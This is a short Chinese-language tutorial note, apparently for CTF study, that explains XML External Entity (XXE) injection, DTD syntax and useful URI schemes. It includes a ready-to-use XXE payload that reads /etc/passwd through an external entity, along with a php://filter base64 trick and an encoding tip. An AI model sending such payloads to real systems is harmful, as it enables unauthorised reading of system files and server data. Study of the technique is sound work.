预备知识

XXE (XML External Entity Injection) 全称XML外部实体注入
原理: 在解析输入的xml数据时未对XML外部实体进行限制,攻击者将恶意代码注入xml中,于是解析了攻击者伪造的外部实体引发文件读取,SSRF,命令执行等
特征: 在HTTP的REQUEST报文中出现Content-Type: text/xml application/xml


XML

实体引用

结构

XML文档声明 文档第一行
XML文档类型定义(DTD) –> XXE漏洞点
XML文档元素


DTD

可以被声明在XML文档中或作为外部实体引用

格式

1
2
3
4
5
6
7
8
1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>

2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

外部实体

XML对数据的引用为实体,引入外部资源则为外部实体
SYSTEM和PUBLIC两个关键字表示实体来自本地计算机还是公共计算机
一般利用一下协议:

1
2
3
file:///path/to/file.txt
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

常用exp:

1
2
3
4
5
6
7
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<userinfo>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
</userinfo>

利用%26代替& 因为&会被当作实体引用的开始标志

实体变量解析:

1
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]

在这里声明了xxe变量,且SYSTEM是把后面url中读取的内容赋值给xxe,后面就可以通过&xxe来引用


例题

可见之前总结题目里的XXE